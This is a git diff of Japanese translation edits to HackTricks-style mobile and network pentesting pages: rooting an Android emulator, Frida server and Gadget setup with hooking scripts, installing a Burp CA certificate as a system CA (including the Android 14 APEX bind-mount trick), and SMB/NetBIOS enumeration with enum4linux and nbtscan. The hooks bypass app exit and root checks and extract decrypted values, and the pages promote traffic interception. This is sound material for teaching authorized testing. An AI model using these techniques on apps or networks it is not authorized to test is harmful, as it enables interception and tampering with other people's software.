がないことを受け入れる場合のみ使用してください。 -## Rooting a Play Store device +## Play Store デバイスを root する -Play Store を含むデバイスをダウンロードした場合、直接 root を取得することはできず、次のエラーメッセージが表示されます +Play Store を搭載したデバイスをダウンロードした場合、直接 root を取得することはできず、次のエラーメッセージが表示されます。 ``` $ adb root adbd cannot run as root in production builds ``` -[rootAVD](https://github.com/newbit1/rootAVD) と [Magisk](https://github.com/topjohnwu/Magisk) を使用して root 化できました（例えば [**this video**](https://www.youtube.com/watch?v=Wk0ixxmkzAI) **or** [**this one**](https://www.youtube.com/watch?v=qQicUW0svB8) を参照してください）。 +Using [rootAVD](https://github.com/newbit1/rootAVD) with [Magisk](https://github.com/topjohnwu/Magisk) を使用して root化できました (follow for example [**this video**](https://www.youtube.com/watch?v=Wk0ixxmkzAI) **or** [**this one**](https://www.youtube.com/watch?v=qQicUW0svB8)). -## Burp Certificate のインストール - -カスタム CA 証明書のインストール方法は、次のページを確認してください： +## Burp 証明書のインストール +カスタム CA 証明書のインストール方法については、以下のページを確認してください: {{#ref}} install-burp-certificate.md @@ -255,11 +256,11 @@ install-burp-certificate.md ### スナップショットを取得 -いつでも **GUI を使用して** VM のスナップショットを取得できます： +VM のスナップショットはいつでも **GUI を使って** 取得できます: ![](<../../images/image (234).png>) -## 参考 +## 参考資料 - [Build a Repeatable Android Bug Bounty Lab: Emulator vs Magisk, Burp, Frida, and Medusa](https://www.yeswehack.com/learn-bug-bounty/android-lab-mobile-hacking-tools) - [Android Emulator command line](https://developer.android.com/studio/run/emulator-commandline) diff --git a/src/mobile-pentesting/android-app-pentesting/frida-tutorial/README.md b/src/mobile-pentesting/android-app-pentesting/frida-tutorial/README.md index 45419406a..ee9c6695b 100644 --- a/src/mobile-pentesting/android-app-pentesting/frida-tutorial/README.md +++ b/src/mobile-pentesting/android-app-pentesting/frida-tutorial/README.md @@ -5,27 +5,27 @@ ## インストール -以下をインストールしてください: **frida tools** +インストール **frida tools**: ```bash pip install frida-tools pip install frida ``` -**ダウンロードしてインストール** を android 上で **frida server** を導入してください ([Download the latest release](https://github.com/frida/frida/releases)).\ -adb を root モードで再起動し、接続し、frida-server をアップロードして exec 権限を付与し、バックグラウンドで実行するワンライナー: +**ダウンロードしてインストール** Android デバイスに **frida server** をインストールします ([Download the latest release](https://github.com/frida/frida/releases)).\ +adb を root 権限で再起動し、接続して frida-server をアップロードし、実行権限を付与してバックグラウンドで実行するワンライナー: ```bash adb root; adb connect localhost:6000; sleep 1; adb push frida-server /data/local/tmp/; adb shell "chmod 755 /data/local/tmp/frida-server"; adb shell "/data/local/tmp/frida-server &" ``` -**チェック** それが **動作している**: +**チェック** それが **動作している**か: ```bash frida-ps -U #List packages and processes frida-ps -U | grep -i #Get all the package name ``` ## Frida server vs. Gadget (root vs. no-root) -FridaでAndroidアプリを扱う一般的な方法は2つあります: +Fridaを使ってAndroidアプリをインストルメント（操作）する一般的な2つの方法: -- Frida server (rooted devices): 任意のプロセスにアタッチできるよう、ネイティブのデーモンをプッシュして実行します。 -- Frida Gadget (no root): APK内にFridaをshared libraryとしてバンドルし、ターゲットプロセス内で自動ロードさせます。 +- Frida server (rooted devices): 任意のプロセスにアタッチできるよう、ネイティブなデーモンを転送して実行する。 +- Frida Gadget (no root): Fridaを共有ライブラリとしてAPK内に同梱し、対象プロセス内で自動的にロードする。 Frida server (rooted) ```bash @@ -42,9 +42,9 @@ frida -U -n com.example.app ``` Frida Gadget (no-root) -1) APK をアンパックし、gadget の .so と設定を追加します: -- lib// (例: lib/arm64-v8a/) に libfrida-gadget.so を配置します -- assets/frida-gadget.config を作成し、スクリプト読み込み設定を記述します +1) APKを展開し、gadget .so と設定を追加: +- libfrida-gadget.so を lib// に配置する (例: lib/arm64-v8a/) +- assets/frida-gadget.config を作成し、スクリプト読み込みの設定を記述する frida-gadget.config の例 ```json @@ -53,8 +53,8 @@ frida-gadget.config の例 "runtime": { "logFile": "/sdcard/frida-gadget.log" } } ``` -2) ガジェットを参照/ロードして、早期に初期化されるようにする: -- 最も簡単: 小さな Java スタブを Application.onCreate() に追加して System.loadLibrary("frida-gadget") を呼び出す、または既に存在するネイティブライブラリのロードを利用する。 +2) ガジェットを参照/ロードして早期に初期化する: +- 簡単な方法: Application.onCreate() 内で System.loadLibrary("frida-gadget") を呼ぶ小さな Java スタブを追加するか、既にあるネイティブライブラリのロード処理を利用する。 3) APK をリパックして署名し、インストールする: ```bash @@ -69,9 +69,9 @@ adb install -r out_signed/app_gadget-aligned-debugSigned.apk frida-ps -Uai frida -U -n com.example.app ``` -注記 -- Gadget は一部の保護機構により検出されることがあるため、名前/パスはステルス化し、必要に応じて遅延/条件付きでロードしてください。 -- ハード化されたアプリでは、server + late attach を使ったrooted testingを優先するか、Magisk/Zygiskの隠蔽と組み合わせてください。 +注意事項 +- Gadget は一部の保護機構で検出されます。names/paths をステルス化し、必要に応じて遅延または条件付きでロードしてください。 +- ハード化されたアプリでは、server + late attach を用いた rooted testing を優先するか、Magisk/Zygisk hiding と組み合わせてください。 ## チュートリアル @@ -81,25 +81,25 @@ frida -U -n com.example.app **APK**: [https://github.com/t0thkr1s/frida-demo/releases](https://github.com/t0thkr1s/frida-demo/releases)\ **ソースコード**: [https://github.com/t0thkr1s/frida-demo](https://github.com/t0thkr1s/frida-demo) -**詳しくは [link to read it](frida-tutorial-1.md) を参照してください。** +**続きを読むには [link to read it](frida-tutorial-1.md).** ### [Tutorial 2](frida-tutorial-2.md) **出典**: [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/) (Parts 2, 3 & 4)\ **APKs and Source code**: [https://github.com/11x256/frida-android-examples](https://github.com/11x256/frida-android-examples) -**詳しくは [ link to read it.](frida-tutorial-2.md) を参照してください。** +**続きを読むには[ link to read it.](frida-tutorial-2.md)** ### [Tutorial 3](owaspuncrackable-1.md) **出典**: [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1)\ **APK**: [https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level_01/UnCrackable-Level1.apk](https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level_01/UnCrackable-Level1.apk) -**詳しくは [link to read it](owaspuncrackable-1.md) を参照してください。** +**続きを読むには [link to read it](owaspuncrackable-1.md).** -**さらに多くのAwesome Fridaスクリプトはここで見つかります:** [**https://codeshare.frida.re/**](https://codeshare.frida.re) +**さらに多くの Awesome Frida スクリプトはここで見つけられます：** [**https://codeshare.frida.re/**](https://codeshare.frida.re) -## クイック例 +## 簡単な例 ### コマンドラインからFridaを呼び出す ```bash @@ -125,7 +125,7 @@ print('[ * ] Running Frida Demo application') script.load() sys.stdin.read() ``` -### パラメータなしの関数をフックする +### 引数のない関数のフック クラス `sg.vantagepoint.a.c` の関数 `a()` をフックする ```javascript @@ -137,14 +137,14 @@ return false; }; }); ``` -java の `exit()` を Hook +java の `exit()` をフックする ```javascript var sysexit = Java.use("java.lang.System") sysexit.exit.overload("int").implementation = function (var_0) { send("java.lang.System.exit(I)V // We avoid exiting the application :)") } ``` -Hook MainActivity `.onStart()` & `.onCreate()` +MainActivity の `.onStart()` と `.onCreate()` を Hook する ```javascript var mainactivity = Java.use("sg.vantagepoint.uncrackable1.MainActivity") mainactivity.onStart.overload().implementation = function () { @@ -158,7 +158,7 @@ send("MainActivity.onCreate() HIT!!!") var ret = this.onCreate.overload("android.os.Bundle").call(this, var_0) } ``` -Hook android `.onCreate()` +android の .onCreate() を Hookする ```javascript var activity = Java.use("android.app.Activity") activity.onCreate.overload("android.os.Bundle").implementation = function ( @@ -168,9 +168,9 @@ send("Activity HIT!!!") var ret = this.onCreate.overload("android.os.Bundle").call(this, var_0) } ``` -### Hooking パラメータ付き関数のフックと値の取得 +### Hooking: パラメータ付き関数のフックと値の取得 -decryption functionをフックします。入力を表示し、元の関数を呼び出して入力をdecryptし、最後にplain dataを表示します: +decryption function を Hooking します。入力を表示し、オリジナルの関数を呼び出して入力を decrypt し、最後に平文データを表示します: ```javascript function getString(data) { var ret = "" @@ -195,9 +195,9 @@ send("Decrypted flag: " + flag) return ret //[B } ``` -### 関数をHookして自分の入力で呼び出す +### Hooking functions and calling them with our input -文字列を受け取る関数をHookし、別の文字列で呼び出す (from [here](https://11x256.github.io/Frida-hooking-android-part-2/)) +string を受け取る function を Hook し、別の string で呼び出す（詳細は [here](https://11x256.github.io/Frida-hooking-android-part-2/)） ```javascript var string_class = Java.use("java.lang.String") // get a JS wrapper for java's String class @@ -210,11 +210,11 @@ console.log("Return value: " + ret) return ret } ``` -### 既に作成されたクラスのオブジェクトを取得する方法 +### 既に作成されたクラスのオブジェクトを取得する -作成済みオブジェクトの属性を抽出したい場合は、これを使用できます。 +作成済みのオブジェクトから属性を取り出したい場合は、これを使用できます。 -この例では、クラス my_activity のオブジェクトを取得し、オブジェクトのプライベート属性を出力する .secret() 関数を呼び出す方法を示します: +この例では、クラス my_activity のオブジェクトを取得する方法と、オブジェクトのプライベート属性を出力する .secret() 関数を呼び出す方法を示します: ```javascript Java.choose("com.example.a11x256.frida_test.my_activity", { onMatch: function (instance) { @@ -225,16 +225,16 @@ console.log("Result of secret func: " + instance.secret()) onComplete: function () {}, }) ``` -## その他の Frida チュートリアル +## その他のFridaチュートリアル - [https://github.com/DERE-ad2001/Frida-Labs](https://github.com/DERE-ad2001/Frida-Labs) -- [Advanced Frida Usage ブログシリーズのパート1: IOS 暗号化ライブラリ](https://8ksec.io/advanced-frida-usage-part-1-ios-encryption-libraries-8ksec-blogs/) +- [Part 1 of Advanced Frida Usage blog series: IOS Encryption Libraries](https://8ksec.io/advanced-frida-usage-part-1-ios-encryption-libraries-8ksec-blogs/) -## 参考 +## 参考資料 -- [再現可能な Android Bug Bounty ラボを構築する: Emulator vs Magisk, Burp, Frida, and Medusa](https://www.yeswehack.com/learn-bug-bounty/android-lab-mobile-hacking-tools) -- [Frida Gadget ドキュメント](https://frida.re/docs/gadget/) -- [Frida releases（サーバーバイナリ）](https://github.com/frida/frida/releases) +- [Build a Repeatable Android Bug Bounty Lab: Emulator vs Magisk, Burp, Frida, and Medusa](https://www.yeswehack.com/learn-bug-bounty/android-lab-mobile-hacking-tools) +- [Frida Gadget documentation](https://frida.re/docs/gadget/) +- [Frida releases (server binaries)](https://github.com/frida/frida/releases) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/android-app-pentesting/install-burp-certificate.md b/src/mobile-pentesting/android-app-pentesting/install-burp-certificate.md index f1d2bcd2b..366d9cd45 100644 --- a/src/mobile-pentesting/android-app-pentesting/install-burp-certificate.md +++ b/src/mobile-pentesting/android-app-pentesting/install-burp-certificate.md @@ -1,11 +1,11 @@ -# Burp Certificate のインストール +# Burp 証明書のインストール {{#include ../../banners/hacktricks-training.md}} -## ADB経由のシステム全体プロキシ +## ADB 経由のシステム全体プロキシ -全てのアプリがインターセプタ（Burp/mitmproxy）を経由してトラフィックをルーティングするように、グローバルな HTTP プロキシを設定します: +すべてのアプリがあなたのインターセプター（Burp/mitmproxy）を経由してトラフィックをルーティングするように、グローバルな HTTP プロキシを設定します: ```bash # Set proxy (device/emulator must reach your host IP) adb shell settings put global http_proxy 192.168.1.2:8080 @@ -13,20 +13,20 @@ adb shell settings put global http_proxy 192.168.1.2:8080 # Clear proxy adb shell settings put global http_proxy :0 ``` -ヒント: In Burp, bind your listener to 0.0.0.0 so devices on the LAN can connect (Proxy -> Options -> Proxy Listeners). +Tip: In Burp, bind your listener to 0.0.0.0 so devices on the LAN can connect (Proxy -> Options -> Proxy Listeners). -## 仮想マシン上で +## On a Virtual Machine -まず最初に、Burp から Der 証明書をダウンロードする必要があります。これは _**Proxy**_ --> _**Options**_ --> _**Import / Export CA certificate**_ で行えます。 +まず最初に、BurpからDer証明書をダウンロードする必要があります。これは _**Proxy**_ --> _**Options**_ --> _**Import / Export CA certificate**_ で行えます。 ![](<../../images/image (367).png>) -**証明書を Der フォーマットでエクスポートする** そしてそれを **変換**して、**Android** が**理解**できる形式にします。なお、**AVD の Android マシンに Burp 証明書を設定するためには** このマシンを **`-writable-system`** オプションを付けて**実行**する必要があります。\ -例えば次のように実行できます: +**Export the certificate in Der format** and lets **transform** it to a form that **Android** is going to be able to **understand.** Note that **in order to configure the burp certificate on the Android machine in AVD** you need to **run** this machine **with** the **`-writable-system`** option.\ +例えば、次のように実行できます: ```bash C:\Users\\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9" -http-proxy 192.168.1.12:8080 -writable-system ``` -次に、**burps certificate を設定するには**: +次に、**burps certificate を設定するには**： ```bash openssl x509 -inform DER -in burp_cacert.der -out burp_cacert.pem CERTHASHNAME="`openssl x509 -inform PEM -subject_hash_old -in burp_cacert.pem | head -1`.0" @@ -37,43 +37,43 @@ adb shell mv /sdcard/$CERTHASHNAME /system/etc/security/cacerts/ #Move to correc adb shell chmod 644 /system/etc/security/cacerts/$CERTHASHNAME #Assign privileges adb reboot #Now, reboot the machine ``` -マシンが再起動を完了すると、Burp 証明書が使用されます！ +**マシンが再起動を完了すると** burp 証明書が使用されるようになります！ ## Magisc の使用 -もし Magisc でデバイスをルート化している（エミュレータの可能性もあります）、そしてファイルシステムが読み取り専用で remount して書き込み可能にできないために前の手順で Burp 証明書をインストールできない場合、別の方法があります。 +もし **Magiscでデバイスをroot化した**（おそらくエミュレータ）、そして前の **手順** に**従えず**、Burp 証明書をインストールできない（**ファイルシステムが読み取り専用**で書き込み可能にリマウントできない）場合、別の方法があります。 -[**this video**](https://www.youtube.com/watch?v=qQicUW0svB8) で説明されているように、次の操作を行います： +説明は [**this video**](https://www.youtube.com/watch?v=qQicUW0svB8) にあります。必要な手順は次のとおりです： -1. **CA 証明書をインストールする**: DER 形式の Burp 証明書の拡張子を `.crt` に変更してモバイルにドラッグ＆ドロップし、Downloads フォルダに保存します。次に `Install a certificate` -> `CA certificate` へ移動します。 +1. **Install a CA certificate**: モバイルに DER 形式の Burp 証明書を **changing the extension** して拡張子を `.crt` にし、Downloads フォルダに **drag&drop** で保存してから `Install a certificate` -> `CA certificate` に進みます。
-- `Trusted credentials` -> `USER` に移動して証明書が正しく保存されていることを確認します +- 証明書が正しく保存されているかは `Trusted credentials` -> `USER` で確認してください
-2. **システムで信頼されるようにする**: Magisc モジュール [MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts)（.zip ファイル）をダウンロードし、電話にドラッグ＆ドロップします。電話の **Magics app** を開き、**`Modules`** セクションに移動して **`Install from storage`** をクリックし、.zip モジュールを選択してインストール後に電話を **reboot** します： +2. **Make it System trusted**: Magisc モジュール [MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts)（.zip ファイル）をダウンロードし、電話に **drag&drop it** します。電話上の **Magics app** を開き **`Modules`** セクションに移動、**`Install from storage`** をクリックして `.zip` モジュールを選択し、インストールが完了したら端末を **reboot** してください：
-- 再起動後、`Trusted credentials` -> `SYSTEM` に移動して Postswigger 証明書が存在することを確認します +- 再起動後、`Trusted credentials` -> `SYSTEM` に行き、Postswigger 証明書が存在することを確認します
-### Magisc モジュールの作り方を学ぶ +### Magisc モジュールの作成方法を学ぶ -Check [https://medium.com/@justmobilesec/magisk-for-mobile-pentesting-rooting-android-devices-and-building-custom-modules-part-ii-22badc498437](https://medium.com/@justmobilesec/magisk-for-mobile-pentesting-rooting-android-devices-and-building-custom-modules-part-ii-22badc498437) +次を参照してください: https://medium.com/@justmobilesec/magisk-for-mobile-pentesting-rooting-android-devices-and-building-custom-modules-part-ii-22badc498437 -## Android 14 以降 +## Android 14以降 -最新の Android 14 リリースでは、system-trusted の Certificate Authority (CA) 証明書の扱いに大きな変更がありました。以前はこれらの証明書は **`/system/etc/security/cacerts/`** に保存され、root 権限のあるユーザーがアクセス・変更できたため、システム全体に即時反映されていました。しかし Android 14 では、保存場所が **`/apex/com.android.conscrypt/cacerts`**（**`/apex`** パス内のディレクトリ）に移動されており、これは本質的に不変（immutable）です。 +最新の Android 14 リリースでは、system-trusted Certificate Authority (CA) 証明書の扱いに大きな変化が見られます。従来、これらの証明書は **`/system/etc/security/cacerts/`** に保存され、root 権限を持つユーザーがアクセス・変更できたため、システム全体に即時に反映されていました。しかし Android 14 では格納場所が **`/apex/com.android.conscrypt/cacerts`**（`/apex` パス内のディレクトリ）に移動しており、`/apex` は本質的に不変です。 -APEX の cacerts パスを書き込み可能に remount しようとすると失敗します。システムがそのような操作を許可しないためです。ディレクトリをアンマウントしたり tmpfs でオーバーレイしたりしても不変性を回避できず、ファイルシステムレベルで変更を加えてもアプリケーションは元の証明書データにアクセスし続けます。この耐性は、**`/apex`** マウントが PRIVATE propagation に設定されているためで、**`/apex`** 内での変更が他のプロセスに影響を与えないようになっています。 +**APEX cacerts path** を書き込み可能にリマウントしようとしても失敗します。システムはそのような操作を許可しません。ディレクトリをアンマウントしたり、一時的なファイルシステム (tmpfs) でオーバーレイしようとしても不変性を回避できず、アプリケーションはファイルシステムレベルの変更に関わらず元の証明書データにアクセスし続けます。これは **`/apex`** のマウントが PRIVATE プロパゲーションで設定されているためで、`/apex` 内の変更が他のプロセスに影響を与えないようになっています。 -Android の初期化では `init` プロセスが起動し、OS の起動時に Zygote プロセスも立ち上げます。Zygote は、新しいマウントネームスペースを持つアプリケーションプロセスを起動する役割を担っており、そのネームスペースには private な **`/apex`** マウントが含まれます。これにより、このディレクトリへの変更は他のプロセスから分離されます。 +Android の初期化では `init` プロセスが OS 起動時に Zygote プロセスを起動します。Zygote は新しいマウントネームスペースを持つアプリケーションプロセスを起動する役割を担っており、そのネームスペースにはプライベートな **`/apex`** マウントが含まれるため、このディレクトリへの変更は他のプロセスから隔離されます。 -それでも、**`/apex`** ディレクトリ内の system-trusted CA 証明書を修正する必要がある場合の回避策が存在します。これは、**`/apex`** の PRIVATE propagation を解除して書き込み可能にするために手動で remount する方法です。手順は、**`/apex/com.android.conscrypt`** の内容を別の場所にコピーし、**`/apex/com.android.conscrypt`** をアンマウントして読み取り専用の制約を取り除き、内容を **`/apex`** の元の場所に戻す、というものです。この操作はシステムクラッシュを避けるために素早く行う必要があります。変更をシステム全体に反映させるためには、`system_server` を再起動する（これにより全アプリケーションが実質的に再起動され、システムが整合した状態になる）ことを推奨します。 +それでも、**`/apex`** ディレクトリ内の system-trusted CA 証明書を変更する必要がある場合の回避策は存在します。これは **`/apex`** の PRIVATE プロパゲーションを解除して書き込み可能にするために手動で再マウントする方法です。手順は、**`/apex/com.android.conscrypt`** の内容を別の場所にコピーし、読み取り専用の制約を取り除くために **`/apex/com.android.conscrypt`** をアンマウントし、その後内容を元の **`/apex`** 内に復元する、というものです。この操作はシステムクラッシュを避けるために素早く行う必要があります。変更をシステム全体に確実に反映させるには、すべてのアプリケーションを再起動してシステムを整合状態に戻す `system_server` の再起動が推奨されます。 ```bash # Create a separate temp directory, to hold the current certificates # Otherwise, when we add the mount we can't read the current certs anymore. @@ -133,24 +133,24 @@ echo "System certificate injected" ``` ### Bind-mounting through NSEnter -1. **Setting Up a Writable Directory**: 最初に、既存の non-APEX システム証明書ディレクトリの上に `tmpfs` をマウントして、書き込み可能なディレクトリを作成します。これは以下のコマンドで実行します： +1. **書き込み可能なディレクトリの設定**: 最初に、既存の非-APEXシステム証明書ディレクトリの上に`tmpfs`をマウントして書き込み可能なディレクトリを作成します。これは次のコマンドで実行されます: ```bash mount -t tmpfs tmpfs /system/etc/security/cacerts ``` -2. **CA証明書の準備**: 書き込み可能なディレクトリを設定した後、使用する CA certificates をそのディレクトリにコピーします。これはデフォルトの証明書を `/apex/com.android.conscrypt/cacerts/` からコピーすることを含む場合があります。これらの証明書のパーミッションと SELinux ラベルを適切に調整することが重要です。 -3. **Zygote 用の Bind Mount**: `nsenter` を用いて Zygote の mount namespace に入ります。Zygote は Android アプリケーションを起動するプロセスであり、この手順により以降に起動されるすべてのアプリが新しく設定した CA certificates を利用するようになります。使用するコマンドは: +2. **Preparing CA Certificates**: 書き込み可能なディレクトリをセットアップした後、使用する CA 証明書をこのディレクトリにコピーします。これには、デフォルトの証明書を `/apex/com.android.conscrypt/cacerts/` からコピーすることが含まれる場合があります。これらの証明書のパーミッションと SELinux ラベルを適切に調整することが重要です。 +3. **Bind Mounting for Zygote**: `nsenter` を利用して Zygote のマウント名前空間に入ります。Zygote は Android アプリケーションの起動を担当するプロセスであり、この手順によりこれ以降に起動されるすべてのアプリケーションが新しく設定した CA 証明書を利用するようになります。使用するコマンドは: ```bash nsenter --mount=/proc/$ZYGOTE_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts ``` -これにより、新しく起動するすべてのアプリが更新された CA certificates の設定に従うようになります。 +これにより、起動するすべての新しいアプリが更新された CA 証明書の設定に従うようになります。 -4. **実行中のアプリへの変更適用**: 既に実行中のアプリに変更を適用するには、`nsenter` を再度使用して各アプリの namespace に個別に入り、同様の bind mount を行います。必要なコマンドは: +4. **実行中のアプリに変更を適用する**: 既に実行中のアプリに変更を適用するには、`nsenter` を再度使用して各アプリの namespace に個別に入り、同様の bind mount を実行します。必要なコマンドは: ```bash nsenter --mount=/proc/$APP_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts ``` -5. **代替アプローチ - ソフト再起動**：別の方法としては、`init` プロセス（PID 1）で bind mount を実行し、その後 `stop && start` コマンドでオペレーティングシステムをソフト再起動する方法があります。このアプローチは変更をすべての namespaces に伝播させ、各実行中の app を個別に対処する必要を回避します。ただし、再起動の手間がかかるため、この方法は一般的にはあまり好まれません。 +5. **代替アプローチ - Soft Reboot**: 別の方法として、`init`プロセス（PID 1）でbind mountを実行し、続いて`stop && start`コマンドでオペレーティングシステムをソフトリブートする手法があります。このアプローチは変更をすべてのnamespacesに伝播させ、個々の実行中のappに対処する必要を回避します。ただし、再起動の手間があるため、一般的にはあまり好まれません。 -## 参考資料 +## References - [Android 14: Install a system CA certificate on a rooted device](https://httptoolkit.com/blog/android-14-install-system-ca-certificate/) - [Build a Repeatable Android Bug Bounty Lab: Emulator vs Magisk, Burp, Frida, and Medusa](https://www.yeswehack.com/learn-bug-bounty/android-lab-mobile-hacking-tools) diff --git a/src/network-services-pentesting/pentesting-smb/README.md b/src/network-services-pentesting/pentesting-smb/README.md index 757fe9d06..a9c090fbf 100644 --- a/src/network-services-pentesting/pentesting-smb/README.md +++ b/src/network-services-pentesting/pentesting-smb/README.md @@ -4,45 +4,43 @@ ## **Port 139** -The _**Network Basic Input Output System**_** (NetBIOS)** は、ローカルエリアネットワーク (LAN) 内のアプリケーション、PC、およびデスクトップがネットワークハードウェアとやり取りし、**ネットワーク上でのデータ伝送を容易にする**ために設計されたソフトウェアプロトコルです。 - -NetBIOS ネットワーク上で動作するソフトウェアアプリケーションの識別と位置特定は、それらの NetBIOS 名を通じて行われます。NetBIOS 名は最大 16 文字まで許容され、しばしばコンピュータ名とは異なります。2 つのアプリケーション間の NetBIOS セッションは、一方のアプリケーション（クライアントとして動作）が他方のアプリケーション（サーバとして動作）を "call" するコマンドを発行し、**TCP Port 139** を利用することで開始されます。 +_**Network Basic Input Output System**_** (NetBIOS)** は、ローカルエリアネットワーク (LAN) 内のアプリケーション、PC、およびデスクトップがネットワークハードウェアとやり取りし、**ネットワーク上でのデータ伝送を容易にする**ために設計されたソフトウェアプロトコルです。NetBIOSネットワーク上で動作するソフトウェアアプリケーションの識別と位置特定は、その NetBIOS names によって行われます。NetBIOS names は最大16文字で、しばしばコンピュータ名とは異なります。2つのアプリケーション間の NetBIOS セッションは、あるアプリケーション（クライアントとして動作）が別のアプリケーション（サーバーとして動作）に「call」コマンドを発行し、**TCP Port 139** を利用することで開始されます。 ``` 139/tcp open netbios-ssn Microsoft Windows netbios-ssn ``` ## Port 445 -技術的には、Port 139 は ‘NBT over IP’ と呼ばれ、Port 445 は ‘SMB over IP’ として識別されます。頭字語 **SMB** は ‘**Server Message Blocks**’ を表し、現代では **Common Internet File System (CIFS)** としても知られています。アプリケーション層のネットワークプロトコルとして、SMB/CIFS は主にファイル、プリンタ、シリアルポートへの共有アクセスを可能にし、ネットワーク上のノード間でさまざまな通信を行うために使用されます。 +技術的には、Port 139 は 'NBT over IP' と呼ばれ、Port 445 は 'SMB over IP' と識別されます。頭字語 **SMB** は '**Server Message Blocks**' の略で、現在では **Common Internet File System (CIFS)** としても知られています。アプリケーション層のネットワークプロトコルとして、SMB/CIFS は主にファイル、プリンタ、シリアルポートへの共有アクセスを可能にし、ネットワーク上のノード間でさまざまな通信を行うために使用されます。 -例えば、Windows の文脈では、SMB は Port 445 を利用して TCP/IP 上で直接動作でき、NetBIOS over TCP/IP の必要性を排除できることが強調されます。逆に、他のシステムでは Port 139 の使用が見られ、SMB が NetBIOS over TCP/IP と組み合わせて実行されていることを示しています。 +例えば、Windows の文脈では、SMB が port 445 を利用して直接 TCP/IP 上で動作できるため、NetBIOS over TCP/IP を必須としないことが強調されます。逆に他のシステムでは port 139 が使用されることがあり、これは SMB が NetBIOS over TCP/IP と併用されていることを示します。 ``` 445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP) ``` ### SMB -The **Server Message Block (SMB)** プロトコルは、**client-server** モデルで動作し、プリンタやルータなどの他のネットワークリソースと同様に、ディレクトリやファイルへの **access to files** を管理するよう設計されています。主に **Windows** 系のオペレーティングシステムで利用され、SMB は後方互換性を維持しているため、新しいバージョンの OS を搭載した端末が古いバージョンの端末とシームレスにやり取りできるようになっています。さらに、**Samba** プロジェクトは無償のソフトウェア実装を提供しており、**Linux** や **Unix** 系でも SMB を利用可能にすることで、プラットフォーム間の通信を可能にします。 +The **Server Message Block (SMB)** プロトコルは **client-server** モデルで動作し、**access to files** やディレクトリ、プリンタやルータなどの他のネットワークリソースへのアクセスを制御するために設計されています。主に **Windows** オペレーティングシステム系列で利用され、SMB は後方互換性を確保しているため、Microsoft の新しいバージョンの OS を搭載した機器が古いバージョンを実行する機器とシームレスにやり取りできます。さらに、**Samba** プロジェクトは無償のソフトウェアソリューションを提供しており、SMB を **Linux** や Unix システムで実装できるようにして、SMB を介したクロスプラットフォームの通信を可能にします。 -Shares（**arbitrary parts of the local file system** を表す）は SMB サーバによって提供され、クライアントから見た階層はサーバの実際の構造とは部分的に **independent** になります。**Access Control Lists (ACLs)** は **access rights** を定義し、ユーザ権限に対して **fine-grained control** を可能にします。これには **`execute`**, **`read`**, および **`full access`** といった属性が含まれます。これらの権限は共有ごとに個別のユーザやグループに割り当てられ、サーバ上のローカル権限とは区別されます。 +Shares はローカルファイルシステムの **arbitrary parts of the local file system** を表し、SMB サーバによって提供されることでクライアントに見える階層がサーバの実際の構造から部分的に **independent** になります。**Access Control Lists (ACLs)** は **access rights** を定義し、ユーザー権限に対して **fine-grained control** を可能にします。これには **`execute`**, **`read``,** `full access` のような属性が含まれます。これらの権限はシェア単位で個々のユーザーまたはグループに割り当てることができ、サーバ上に設定されたローカル権限とは区別されます。 ### IPC$ Share -IPC$ share へのアクセスは anonymous null session を通じて取得でき、named pipes を介して公開されているサービスとやり取りすることができます。この用途にはユーティリティ `enum4linux` が有用です。適切に利用すると、以下を取得できます: +IPC$ share へのアクセスは anonymous null session を通じて取得でき、named pipes を介して公開されているサービスとやり取りすることが可能です。この目的にはユーティリティ `enum4linux` が有用です。適切に利用すると、以下の情報を取得できます: - オペレーティングシステムに関する情報 - 親ドメインの詳細 -- ローカルユーザとグループの一覧 -- 利用可能な SMB shares に関する情報 -- 有効なシステムセキュリティポリシー +- ローカルユーザーおよびグループの一覧 +- 利用可能な SMB シェアに関する情報 +- 実効システムセキュリティポリシー -この機能は、ネットワーク上の SMB (Server Message Block) サービスのセキュリティ状況を評価するために、ネットワーク管理者やセキュリティ担当者にとって重要です。`enum4linux` はターゲットシステムの SMB 環境を包括的に把握する手段を提供し、潜在的な脆弱性の特定や SMB サービスが適切に保護されていることを確認する上で不可欠です。 +この機能はネットワーク管理者やセキュリティ担当者がネットワーク上の SMB (Server Message Block) サービスのセキュリティ姿勢を評価する上で重要です。`enum4linux` はターゲットシステムの SMB 環境を包括的に把握するための情報を提供し、潜在的な脆弱性の特定や SMB サービスが適切に保護されていることを確認するために不可欠です。 ```bash enum4linux -a target_ip ``` -上のコマンドは、`enum4linux` を使用して `target_ip` で指定されたターゲットに対してフル列挙を実行する例です。 +上記のコマンドは、`target_ip`で指定したターゲットに対して `enum4linux` を用いてフル列挙を行う例です。 -## NTLMとは +## NTLMとは何か -NTLMが何か分からない場合、またはその仕組みや悪用方法を知りたい場合は、**NTLM** に関するこのページが非常に参考になります。そこでは**このプロトコルがどのように動作し、どのように悪用できるか**が説明されています: +NTLMが何か分からない場合、またはその仕組みや悪用方法を知りたい場合は、**NTLM**に関するこのページが非常に参考になります。そこでは**このプロトコルがどのように動作し、どのように活用できるか**が説明されています： {{#ref}} @@ -51,15 +49,15 @@ NTLMが何か分からない場合、またはその仕組みや悪用方法を ## **サーバー列挙** -### **Scan** ネットワーク上でホストを検索する: +### **スキャン** ネットワーク内のホストを検索する: ```bash nbtscan -r 192.168.0.1/24 ``` -### SMB サーバーのバージョン +### SMB サーバのバージョン -SMBのバージョンに対する可能なexploitsを探すには、使用されているバージョンを把握することが重要です。もしこの情報が他のツールで得られない場合、次の方法が使えます: +SMB バージョンに対する exploits を探すには、どのバージョンが使われているかを把握することが重要です。他の使用しているツールにこの情報が表示されない場合は、次を試してください： -- **MSF** auxiliary module `**auxiliary/scanner/smb/smb_version**` を使用する +- **MSF** の auxiliary モジュール `**auxiliary/scanner/smb/smb_version**` を使用する - またはこのスクリプト： ```bash #!/bin/sh @@ 